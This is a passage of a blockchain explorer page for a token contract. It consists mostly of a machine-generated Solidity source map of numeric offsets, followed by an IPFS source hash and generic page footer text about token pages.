:32:::0;;;::::1;;-1:-1:-1::0;;;12889:32:0::1;-1:-1:-1::0;;;;12889:32:0;;::::1;;::::0;;12937:38:::1;::::0;::::1;::::0;::::1;::::0;12913:8;4308:14:1;4301:22;4283:41;;4271:2;4256:18;;4143:187;12937:38:0::1;;;;;;;;12812:171:::0;:::o;5945:244::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6034:22:0;::::1;6026:73;;;::::0;-1:-1:-1;;;6026:73:0;;6114:2:1;6026:73:0::1;::::0;::::1;6096:21:1::0;6153:2;6133:18;;;6126:30;6192:34;6172:18;;;6165:62;-1:-1:-1;;;6243:18:1;;;6236:36;6289:19;;6026:73:0::1;5912:402:1::0;6026:73:0::1;6136:6;::::0;;6115:38:::1;::::0;-1:-1:-1;;;;;6115:38:0;;::::1;::::0;6136:6;::::1;::::0;6115:38:::1;::::0;::::1;6164:6;:17:::0;;-1:-1:-1;;;;;;6164:17:0::1;-1:-1:-1::0;;;;;6164:17:0;;;::::1;::::0;;;::::1;::::0;;5945:244::o;12197:337::-;-1:-1:-1;;;;;12290:19:0;;12282:68;;;;-1:-1:-1;;;12282:68:0;;8859:2:1;12282:68:0;;;8841:21:1;8898:2;8878:18;;;8871:30;8937:34;8917:18;;;8910:62;-1:-1:-1;;;8988:18:1;;;8981:34;9032:19;;12282:68:0;8657:400:1;12282:68:0;-1:-1:-1;;;;;12369:21:0;;12361:68;;;;-1:-1:-1;;;12361:68:0;;6521:2:1;12361:68:0;;;6503:21:1;6560:2;6540:18;;;6533:30;6599:34;6579:18;;;6572:62;-1:-1:-1;;;6650:18:1;;;6643:32;6692:19;;12361:68:0;6319:398:1;12361:68:0;-1:-1:-1;;;;;12442:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12494:32;;9208:25:1;;;12494:32:0;;9181:18:1;12494:32:0;;;;;;;12197:337;;;:::o;14392:1895::-;14479:4;-1:-1:-1;;;;;14506:20:0;;14498:70;;;;-1:-1:-1;;;14498:70:0;;8453:2:1;14498:70:0;;;8435:21:1;8492:2;8472:18;;;8465:30;8531:34;8511:18;;;8504:62;-1:-1:-1;;;8582:18:1;;;8575:35;8627:19;;14498:70:0;8251:401:1;14498:70:0;-1:-1:-1;;;;;14587:23:0;;14579:71;;;;-1:-1:-1;;;14579:71:0;;5373:2:1;14579:71:0;;;5355:21:1;5412:2;5392:18;;;5385:30;5451:34;5431:18;;;5424:62;-1:-1:-1;;;5502:18:1;;;5495:33;5545:19;;14579:71:0;5171:399:1;14579:71:0;14678:1;14669:6;:10;14661:64;;;;-1:-1:-1;;;14661:64:0;;8043:2:1;14661:64:0;;;8025:21:1;8082:2;8062:18;;;8055:30;8121:34;8101:18;;;8094:62;-1:-1:-1;;;8172:18:1;;;8165:39;8221:19;;14661:64:0;7841:405:1;14661:64:0;-1:-1:-1;;;;;14750:25:0;;;;;;:17;:25;;;;;;;;14749:26;:59;;;;-1:-1:-1;;;;;;14780:28:0;;;;;;:17;:28;;;;;;;;14779:29;14749:59;14746:204;;;-1:-1:-1;;;;;14827:20:0;;;;;;:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;14851:23:0;;;;;;:12;:23;;;;;;;;14827:47;14824:115;;;14902:7;;-1:-1:-1;;;14902:7:0;;;;14894:29;;;;-1:-1:-1;;;14894:29:0;;5777:2:1;14894:29:0;;;5759:21:1;5816:1;5796:18;;;5789:29;-1:-1:-1;;;5834:18:1;;;5827:39;5883:18;;14894:29:0;5575:332:1;14894:29:0;-1:-1:-1;;;;;14965:25:0;;;;;;:17;:25;;;;;;;;14964:26;:59;;;;-1:-1:-1;;;;;;14995:28:0;;;;;;:17;:28;;;;;;;;14994:29;14964:59;14961:240;;;15051:11;;-1:-1:-1;;;;;15041:21:0;;;15051:11;;15041:21;:52;;;;;15089:4;;15081:5;;:12;;;;:::i;:::-;15066;:27;15041:52;15038:152;;;15143:22;;15120:54;;15135:6;;15143:22;;;-1:-1:-1;;;;;15143:22:0;15167:6;15120:14;:54::i;:::-;15113:61;;;;15038:152;15216:16;;-1:-1:-1;;;15216:16:0;;;;15213:1067;;;15265:41;15280:6;15288:9;15299:6;15265:14;:41::i;15213:1067::-;15408:4;15359:28;11211:18;;;:9;:18;;;;;;15484:24;;15460:48;;;;;;;15529:44;;-1:-1:-1;15557:16:0;;-1:-1:-1;;;15557:16:0;;;;15556:17;15529:44;:69;;;;-1:-1:-1;;;;;;15578:20:0;;;;;;:12;:20;;;;;;;;15577:21;15529:69;:94;;;;-1:-1:-1;15602:21:0;;-1:-1:-1;;;15602:21:0;;;;15529:94;15525:301;;;15660:25;;-1:-1:-1;;;15660:25:0;;;;15657:98;;;15731:24;;15708:47;;15657:98;15774:36;15789:20;15774:14;:36::i;:::-;15862:53;;;;;;;;;;;-1:-1:-1;;;15862:53:0;;;;;;;;-1:-1:-1;;;;;15862:17:0;;-1:-1:-1;15862:17:0;;;:9;:17;;;;;;;;:53;;15884:6;;15862:21;:53::i;:::-;-1:-1:-1;;;;;15842:17:0;;;;;;:9;:17;;;;;;;;:73;;;;15955:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;15984:28:0;;;;;;:17;:28;;;;;;;;15955:57;15954:147;;16067:34;16075:6;16083:9;16094:6;16067:7;:34::i;:::-;15954:147;;;16058:6;15954:147;-1:-1:-1;;;;;16143:20:0;;;;;;:9;:20;;;;;;15932:169;;-1:-1:-1;16143:37:0;;15932:169;16143:24;:37::i;:::-;-1:-1:-1;;;;;16120:20:0;;;;;;;:9;:20;;;;;;;:60;;;;16202:40;;;;;;;;;;16230:11;9208:25:1;;9196:2;9181:18;;9062:177;16202:40:0;;;;;;;;16264:4;16257:11;;;;;;;1524:192;1610:7;1646:12;1638:6;;;;1630:29;;;;-1:-1:-1;;;1630:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1670:9:0;1682:5;1686:1;1682;:5;:::i;:::-;1670:17;1524:192;-1:-1:-1;;;;;1524:192:0:o;1380:136::-;1438:7;1465:43;1469:1;1472;1465:43;;;;;;;;;;;;;;;;;:3;:43::i;1191:181::-;1249:7;;1281:5;1285:1;1281;:5;:::i;:::-;1269:17;;1310:1;1305;:6;;1297:46;;;;-1:-1:-1;;;1297:46:0;;6924:2:1;1297:46:0;;;6906:21:1;6963:2;6943:18;;;6936:30;7002:29;6982:18;;;6975:57;7049:18;;1297:46:0;6722:351:1;16295:330:0;16425:53;;;;;;;;;;;-1:-1:-1;;;16425:53:0;;;;;;;;-1:-1:-1;;;;;16425:17:0;;16388:4;16425:17;;;:9;:17;;;;;;;:53;;16447:6;;16425:21;:53::i;:::-;-1:-1:-1;;;;;16405:17:0;;;;;;;:9;:17;;;;;;:73;;;;16512:20;;;;;;;:32;;16537:6;16512:24;:32::i;:::-;-1:-1:-1;;;;;16489:20:0;;;;;;;:9;:20;;;;;;;:55;;;;16560:35;;;;;;;;;;16588:6;9208:25:1;;9196:2;9181:18;;9062:177;16560:35:0;;;;;;;;-1:-1:-1;16613:4:0;16295:330;;;;;:::o;16635:314::-;9457:16;:23;;-1:-1:-1;;;;9457:23:0;-1:-1:-1;;;9457:23:0;;;16739:25:::1;16756:7:::0;16739:16:::1;:25::i;:::-;16800:21;16846:18:::0;;16843:96:::1;;16900:22;::::0;16879:60:::1;::::0;16900:22:::1;::::0;::::1;-1:-1:-1::0;;;;;16900:22:0::1;16924:14:::0;16879:20:::1;:60::i;:::-;-1:-1:-1::0;;9503:16:0;:24;;-1:-1:-1;;;;9503:24:0;;;16635:314::o;17627:594::-;-1:-1:-1;;;;;17770:20:0;;17713:7;17770:20;;;:12;:20;;;;;;17713:7;;17770:20;;17767:223;;;17819:38;17853:3;17819:29;17830:17;;17819:6;:10;;:29;;;;:::i;:::-;:33;;:38::i;:::-;17807:50;;17767:223;;;-1:-1:-1;;;;;17887:23:0;;;;;;:12;:23;;;;;;;;17884:106;;;17939:39;17974:3;17939:30;17950:18;;17939:6;:10;;:30;;;;:::i;:39::-;17927:51;;17884:106;18003:13;;18000:173;;18078:4;18060:24;;;;:9;:24;;;;;;:39;;18089:9;18060:28;:39::i;:::-;18051:4;18033:24;;;;:9;:24;;;;;;;:66;;;;18119:42;;-1:-1:-1;;;;;18119:42:0;;;;;;;18151:9;9208:25:1;;9196:2;9181:18;;9062:177;18119:42:0;;;;;;;;18000:173;18192:21;:6;18203:9;18192:10;:21::i;16957:658::-;17107:16;;;17121:1;17107:16;;;;;;;;17083:21;;17107:16;;;;;;;;;;-1:-1:-1;17107:16:0;17083:40;;17152:4;17134;17139:1;17134:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17134:23:0;;;:7;;;;;;;;;;:23;;;;17178:15;;:22;;;-1:-1:-1;;;17178:22:0;;;;:15;;;;;:20;;:22;;;;;17134:7;;17178:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17168:4;17173:1;17168:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17168:32:0;;;:7;;;;;;;;;:32;17245:15;;17213:62;;17230:4;;17245:15;17263:11;17213:8;:62::i;:::-;17314:15;;:240;;-1:-1:-1;;;17314:240:0;;-1:-1:-1;;;;;17314:15:0;;;;:66;;:240;;17395:11;;17314:15;;17465:4;;17492;;17528:15;;17314:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17572:35;17589:11;17602:4;17572:35;;;;;;;:::i;:::-;;;;;;;;17012:603;16957:658;:::o;13664:126::-;13756:26;;-1:-1:-1;;;;;13756:18:0;;;:26;;;;;13775:6;;13756:26;;;;13775:6;13756:18;:26;;;;;;;;;;;;;;;;;;;;;13664:126;;:::o;1724:250::-;1782:7;1806:6;1802:47;;-1:-1:-1;1836:1:0;1829:8;;1802:47;1861:9;1873:5;1877:1;1873;:5;:::i;:::-;1861:17;-1:-1:-1;1906:1:0;1897:5;1901:1;1861:17;1897:5;:::i;:::-;:10;1889:56;;;;-1:-1:-1;;;1889:56:0;;7280:2:1;1889:56:0;;;7262:21:1;7319:2;7299:18;;;7292:30;7358:34;7338:18;;;7331:62;-1:-1:-1;;;7409:18:1;;;7402:31;7450:19;;1889:56:0;7078:397:1;1982:132:0;2040:7;2067:39;2071:1;2074;2067:39;;;;;;;;;;;;;;;;;2208:7;2243:12;2236:5;2228:28;;;;-1:-1:-1;;;2228:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2267:9:0;2279:5;2283:1;2279;:5;:::i;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:247::-;238:6;291:2;279:9;270:7;266:23;262:32;259:52;;;307:1;304;297:12;259:52;346:9;333:23;365:31;390:5;365:31;:::i;431:251::-;501:6;554:2;542:9;533:7;529:23;525:32;522:52;;;570:1;567;560:12;522:52;602:9;596:16;621:31;646:5;621:31;:::i;687:388::-;755:6;763;816:2;804:9;795:7;791:23;787:32;784:52;;;832:1;829;822:12;784:52;871:9;858:23;890:31;915:5;890:31;:::i;:::-;940:5;-1:-1:-1;997:2:1;982:18;;969:32;1010:33;969:32;1010:33;:::i;:::-;1062:7;1052:17;;;687:388;;;;;:::o;1080:456::-;1157:6;1165;1173;1226:2;1214:9;1205:7;1201:23;1197:32;1194:52;;;1242:1;1239;1232:12;1194:52;1281:9;1268:23;1300:31;1325:5;1300:31;:::i;:::-;1350:5;-1:-1:-1;1407:2:1;1392:18;;1379:32;1420:33;1379:32;1420:33;:::i;:::-;1080:456;;1472:7;;-1:-1:-1;;;1526:2:1;1511:18;;;;1498:32;;1080:456::o;1541:315::-;1606:6;1614;1667:2;1655:9;1646:7;1642:23;1638:32;1635:52;;;1683:1;1680;1673:12;1635:52;1722:9;1709:23;1741:31;1766:5;1741:31;:::i;:::-;1791:5;-1:-1:-1;1815:35:1;1846:2;1831:18;;1815:35;:::i;:::-;1805:45;;1541:315;;;;;:::o;1861:::-;1929:6;1937;1990:2;1978:9;1969:7;1965:23;1961:32;1958:52;;;2006:1;2003;1996:12;1958:52;2045:9;2032:23;2064:31;2089:5;2064:31;:::i;:::-;2114:5;2166:2;2151:18;;;;2138:32;;-1:-1:-1;;;1861:315:1:o;2181:689::-;2273:6;2281;2289;2342:2;2330:9;2321:7;2317:23;2313:32;2310:52;;;2358:1;2355;2348:12;2310:52;2398:9;2385:23;2427:18;2468:2;2460:6;2457:14;2454:34;;;2484:1;2481;2474:12;2454:34;2522:6;2511:9;2507:22;2497:32;;2567:7;2560:4;2556:2;2552:13;2548:27;2538:55;;2589:1;2586;2579:12;2538:55;2629:2;2616:16;2655:2;2647:6;2644:14;2641:34;;;2671:1;2668;2661:12;2641:34;2726:7;2719:4;2709:6;2706:1;2702:14;2698:2;2694:23;2690:34;2687:47;2684:67;;;2747:1;2744;2737:12;2684:67;2778:4;2770:13;;;;-1:-1:-1;2802:6:1;-1:-1:-1;2827:37:1;;2843:20;;;-1:-1:-1;2827:37:1;:::i;:::-;2817:47;;2181:689;;;;;:::o;2875:180::-;2931:6;2984:2;2972:9;2963:7;2959:23;2955:32;2952:52;;;3000:1;2997;2990:12;2952:52;3023:26;3039:9;3023:26;:::i;3060:180::-;3119:6;3172:2;3160:9;3151:7;3147:23;3143:32;3140:52;;;3188:1;3185;3178:12;3140:52;-1:-1:-1;3211:23:1;;3060:180;-1:-1:-1;3060:180:1:o;3245:461::-;3298:3;3336:5;3330:12;3363:6;3358:3;3351:19;3389:4;3418:2;3413:3;3409:12;3402:19;;3455:2;3448:5;3444:14;3476:1;3486:195;3500:6;3497:1;3494:13;3486:195;;;3565:13;;-1:-1:-1;;;;;3561:39:1;3549:52;;3621:12;;;;3656:15;;;;3597:1;3515:9;3486:195;;;-1:-1:-1;3697:3:1;;3245:461;-1:-1:-1;;;;;3245:461:1:o;4569:597::-;4681:4;4710:2;4739;4728:9;4721:21;4771:6;4765:13;4814:6;4809:2;4798:9;4794:18;4787:34;4839:1;4849:140;4863:6;4860:1;4857:13;4849:140;;;4958:14;;;4954:23;;4948:30;4924:17;;;4943:2;4920:26;4913:66;4878:10;;4849:140;;;5007:6;5004:1;5001:13;4998:91;;;5077:1;5072:2;5063:6;5052:9;5048:22;5044:31;5037:42;4998:91;-1:-1:-1;5150:2:1;5129:15;-1:-1:-1;;5125:29:1;5110:45;;;;5157:2;5106:54;;4569:597;-1:-1:-1;;;4569:597:1:o;7480:356::-;7682:2;7664:21;;;7701:18;;;7694:30;7760:34;7755:2;7740:18;;7733:62;7827:2;7812:18;;7480:356::o;9244:332::-;9451:6;9440:9;9433:25;9494:2;9489;9478:9;9474:18;9467:30;9414:4;9514:56;9566:2;9555:9;9551:18;9543:6;9514:56;:::i;:::-;9506:64;9244:332;-1:-1:-1;;;;9244:332:1:o;9581:582::-;9880:6;9869:9;9862:25;9923:6;9918:2;9907:9;9903:18;9896:34;9966:3;9961:2;9950:9;9946:18;9939:31;9843:4;9987:57;10039:3;10028:9;10024:19;10016:6;9987:57;:::i;:::-;-1:-1:-1;;;;;10080:32:1;;;;10075:2;10060:18;;10053:60;-1:-1:-1;10144:3:1;10129:19;10122:35;9979:65;9581:582;-1:-1:-1;;;9581:582:1:o;10357:128::-;10397:3;10428:1;10424:6;10421:1;10418:13;10415:39;;;10434:18;;:::i;:::-;-1:-1:-1;10470:9:1;;10357:128::o;10490:217::-;10530:1;10556;10546:132;;10600:10;10595:3;10591:20;10588:1;10581:31;10635:4;10632:1;10625:15;10663:4;10660:1;10653:15;10546:132;-1:-1:-1;10692:9:1;;10490:217::o;10712:168::-;10752:7;10818:1;10814;10810:6;10806:14;10803:1;10800:21;10795:1;10788:9;10781:17;10777:45;10774:71;;;10825:18;;:::i;:::-;-1:-1:-1;10865:9:1;;10712:168::o;10885:125::-;10925:4;10953:1;10950;10947:8;10944:34;;;10958:18;;:::i;:::-;-1:-1:-1;10995:9:1;;10885:125::o;11015:380::-;11094:1;11090:12;;;;11137;;;11158:61;;11212:4;11204:6;11200:17;11190:27;;11158:61;11265:2;11257:6;11254:14;11234:18;11231:38;11228:161;;;11311:10;11306:3;11302:20;11299:1;11292:31;11346:4;11343:1;11336:15;11374:4;11371:1;11364:15;11228:161;;11015:380;;;:::o;11400:135::-;11439:3;-1:-1:-1;;11460:17:1;;11457:43;;;11480:18;;:::i;:::-;-1:-1:-1;11527:1:1;11516:13;;11400:135::o;11540:127::-;11601:10;11596:3;11592:20;11589:1;11582:31;11632:4;11629:1;11622:15;11656:4;11653:1;11646:15;11672:127;11733:10;11728:3;11724:20;11721:1;11714:31;11764:4;11761:1;11754:15;11788:4;11785:1;11778:15;11936:131;-1:-1:-1;;;;;12011:31:1;;12001:42;;11991:70;;12057:1;12054;12047:12;11991:70;11936:131;:::o
Swarm Source
ipfs://8ae35a75cfa71c3d2072e5d6b0e13092626683ef0dcc8616abb8e4ac05184206
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.